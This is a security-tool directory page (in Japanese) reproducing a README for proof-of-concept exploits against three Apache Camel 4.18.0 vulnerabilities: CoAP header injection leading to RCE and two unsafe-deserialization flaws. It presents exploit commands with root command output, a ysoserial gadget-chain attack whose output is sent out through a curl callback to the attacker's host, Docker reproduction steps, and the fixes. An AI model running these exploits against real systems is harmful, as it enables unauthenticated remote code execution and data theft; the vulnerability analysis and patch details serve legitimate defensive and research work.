Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33453 — Apache Camel の3つの重大な脆弱性に対する実証済みの概念実証エクスプロイトと詳細な分析を提供します。これには、CoAPヘッダーインジェクションや、リモートコード実行につながる安全でないデシリアライゼーションが含まれます。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2026-33453
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングバイナリエクスプロイト
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Apache Camel の3つの重大な脆弱性に対する実証済みの概念実証エクスプロイトと詳細な分析を提供します。これには、CoAPヘッダーインジェクションや、リモートコード実行につながる安全でないデシリアライゼーションが含まれます。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache Camel 4.18.0 — CVE セキュリティ評価

Apache Camel 4.18.0 における3つの重大な脆弱性。独立して発見・検証され、動作する概念実証エクスプロイトが付属しています。

CVEコンポーネントタイプCVSS判定
CVE-2026-33453camel-coapヘッダーインジェクション → RCE10.0 Critical悪用可能
CVE-2026-40473camel-mina安全でないデシリアライゼーション → RCE9.8 Critical悪用可能
CVE-2026-40858camel-infinispan安全でないデシリアライゼーション8.8 High悪用可能

CVE-2026-33453: CoAP ヘッダーインジェクション → リモートコード実行

コンポーネント: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (オブジェクト属性の不適切に制御された変更) 修正バージョン: Camel 4.18.1 / 4.14.6

根本原因

CamelCoapResource.handleRequest() は、CoAP URI クエリパラメータを HeaderFilterStrategy なしで setHeader() 経由で Camel Exchange ヘッダーに直接マッピングします。CoAPEndpoint は DefaultHeaderFilterStrategyEndpoint ではなく DefaultEndpoint を拡張しているため、認証されていないクライアントによって内部の Camel* プレフィックス付きヘッダーが注入される可能性があります。

ルートが camel-exec に転送されると、攻撃者が制御する CamelExecCommandExecutable および CamelExecCommandArgs ヘッダーが設定されたコマンドを上書きし、単一の UDP パケットによる事前認証 RCE を達成します。

root@kitploit:~
// CamelCoapResource.java:103-109 — HeaderFilterStrategy なし
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

PoC 結果

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...

CVE-2026-40473: MINA 安全でないデシリアライゼーション → リモートコード実行

コンポーネント: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (信頼されないデータのデシリアライゼーション) 修正バージョン: Camel 4.18.2 / 4.14.6 / 4.20.0

根本原因

MinaConverter.toObjectInput(IoBuffer) は、ObjectInputFilter を使用せずに生の java.io.ObjectInputStream を作成します。MINA エンドポイントが allowDefaultCodec=false で設定されている場合、生の TCP データは IoBuffer として到着し、Camel の型コンバーターに到達します。この型コンバーターは、攻撃者が制御するネットワークバイトをフィルタリングされていない ObjectInputStream でラップするこのメソッドを呼び出します。

root@kitploit:~
// MinaConverter.java:60-63 — ObjectInputFilter なし
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // 攻撃者が制御するバイト、フィルターなし
}

攻撃経路: このエクスプロイトは、allowDefaultCodec=false (PoC ではポート 9879) の MINA TCP エンドポイントを標的にします。これにより MINA のコーデック層が完全にバイパスされます — ObjectSerializationCodecFactory には、そうでなければ任意のクラスをブロックする独自の ClassNameMatcher 許可リストがあります。コーデックが無効になっていると、生のバイトは MinaConverter.toObjectInput() に直接流れ込み、クラスフィルタリングがゼロの標準の ObjectInputStream が作成されます。

CommonsCollections6 ガジェットチェーン (ysoserial 経由) により、root としての任意のコマンド実行が達成されます。コマンド出力は攻撃者への curl コールバックを介して外部に持ち出されます。

PoC 結果

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

CVE-2026-40473 の再現手順

前提条件

  • Docker および Docker Compose
  • Python 3.8+
  • Java 17+ (ysoserial 用)
  • ysoserial — ysoserial-all.jar (CommonsCollections6 ガジェット)

ステップ 1: 脆弱なサーバーのビルドと起動

root@kitploit:~
cd poc/
docker compose up -d --build

コンテナの起動を待ってから、以下を確認します:

root@kitploit:~
docker logs vuln-camel-mina

以下のように表示されるはずです:

MINA Setup

root@kitploit:~
[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...

ポート 9879 が標的です — ここでは allowDefaultCodec=false が使用されており、MINA のコーデックフィルターが無効になり、生の IoBuffer が Camel のフィルタリングされていない MinaConverter.toObjectInput() に到達できるようになります。

ステップ 2: デシリアライゼーションの確認 (プローブモード)

まず、エンドポイントが ObjectInputFilter なしで任意の Java オブジェクトを受け入れてデシリアライズすることを確認します:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA Probe

root@kitploit:~
[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection

プローブはシリアライズされた HashMap を送信します。サーバーは ObjectInputStream.readObject() 経由で InvalidClassException なしにデシリアライズします — クラスフィルタリングがゼロであることを確認します。

ステップ 3: コマンドの実行 (完全な RCE)

ysoserial が利用可能な状態で、フィルタリングされていないデシリアライゼーションを悪用して任意のコマンドを実行します:

root@kitploit:~
# 'id' を実行 — uid=0(root) を返します
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# ファイルの読み取り
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# システム情報
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

このエクスプロイトは CommonsCollections6 ガジェットチェーンを生成し、それを生のバイトとしてポート 9879 に送信し、curl コールバックリスナーを介してコマンド出力を取得します。

エクスプロイトオプション

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           Target IP/hostname
  port             MINA TCP port (default: 9879)
  command          Command to execute (default: id)
  --ysoserial      Path to ysoserial.jar (auto-detected if not set)
  --callback-host  Host the container uses to reach you (default: host.docker.internal)
  --gadget         ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
  --probe          Probe mode only — confirm deserialization without RCE
  --raw            Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)

注記: --callback-host はデフォルトで host.docker.internal (Docker Desktop) になります。Docker Desktop なしで Linux 上で実行する場合は、--callback-host 172.17.0.1 または Docker ブリッジ IP を使用してください。

ステップ 4: クリーンアップ

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Infinispan 安全でないデシリアライゼーション

コンポーネント: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (信頼されないデータのデシリアライゼーション) 修正バージョン: Camel 4.18.2 / 4.14.7 / 4.20.0

根本原因

DefaultExchangeHolderUtils.deserialize(byte[]) は、ObjectInputFilter なしで ClassLoadingAwareObjectInputStream を作成します。DefaultExchangeHolderProtoAdapter は Infinispan キャッシュバイトをこのメソッドに直接ルーティングします。キャッシュ書き込みアクセス権 (Hot Rod ポート 11222 または REST API) を持つ攻撃者は、集約リポジトリがキーを取得する際にデシリアライズされる悪意のあるシリアライズペイロードを注入します。

これは CVE-2024-22369、CVE-2024-23114、CVE-2026-25747 と同じ脆弱性パターンです — Camel のデシリアライゼーションパスにおける ObjectInputFilter なしの readObject() の未修正インスタンスがすべてです。

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — ObjectInputFilter なし
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // 攻撃者が制御
    }
}

脆弱なコード

Infinispan Vulnerable Code


注釈付き脆弱コード

Vulnerable Code Annotated


3つの CVE すべての再現

前提条件

  • Docker および Docker Compose
  • Python 3.8+
  • Java 17+ (ysoserial 用)
  • 完全な RCE ガジェットチェーン用の ysoserial (CVE-2026-40473)

ビルドと実行

root@kitploit:~
cd poc/
docker compose up -d --build

これにより以下が起動します:

  • vuln-camel-coap — camel-exec ルートを備えた UDP ポート 5683 の CoAP エンドポイント
  • vuln-camel-mina — ポート 9877 (transferExchange)、9878 (ObjectSerializationCodecFactory)、9879 (生の TCP — 主な攻撃標的) の MINA TCP エンドポイント
  • infinispan — ポート 11222 の Infinispan サーバー
  • vuln-camel-infinispan — Infinispan をバックエンドとする Camel 集約リポジトリ

エクスプロイトの実行

root@kitploit:~
# CVE-2026-33453: CoAP ヘッダーインジェクション → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: MINA 安全でないデシリアライゼーション → RCE (詳細な手順は上記参照)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Infinispan 安全でないデシリアライゼーション
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

クリーンアップ

root@kitploit:~
cd poc/
docker compose down

評価プロセス

この評価は RAPTOR 自律型セキュリティリサーチフレームワークを使用して実施されました:

  1. リサーチ — 3つの CVE すべてを特定し、修正コミットを相互参照して Apache Camel 4.18.0 が唯一の脆弱なバージョンであると判断
  2. ソースの取得 — git sparse-checkout を使用して脆弱なコンポーネントをダウンロード (camel-coap、camel-mina、camel-infinispan)
  3. スキャン (/scan) — 3つのコンポーネントすべてにわたる自動脆弱性発見
  4. 理解 (/understand --map) — 攻撃面マッピング: エントリーポイント、信頼境界、シンク、未チェックのデータフロー
  5. 検証 (/validate) — 完全な8段階の悪用可能性検証パイプライン (ステージ 0 → A → B → C → D → E → F → 1) により、3つの発見すべてが実際に存在し、到達可能で、悪用可能であることを確認
  6. エクスプロイト (/exploit) — Docker ベースのテスト環境を使用した動作する PoC の開発
  7. ドキュメント化 — スクリーンショット、エクスプロイトレポート、およびこの README

修正

CVE修正バージョン変更内容
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → DefaultHeaderFilterStrategyEndpoint を拡張; CoAPComponent → HeaderFilterStrategyComponent を実装
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0readObject() の前に ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") を追加
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0ObjectInputFilter 許可リストを追加 (同じパターン); 設定されている場合は JVM シリアルフィルターにフォールバック

免責事項

このリサーチは、許可されたセキュリティテストおよび教育目的のみを対象としています。すべてのエクスプロイトは、脆弱なソフトウェアを実行するローカルビルドの Docker コンテナに対してテストされました。上記の修正バージョンにアップグレードしてください。

ツールをダウンロード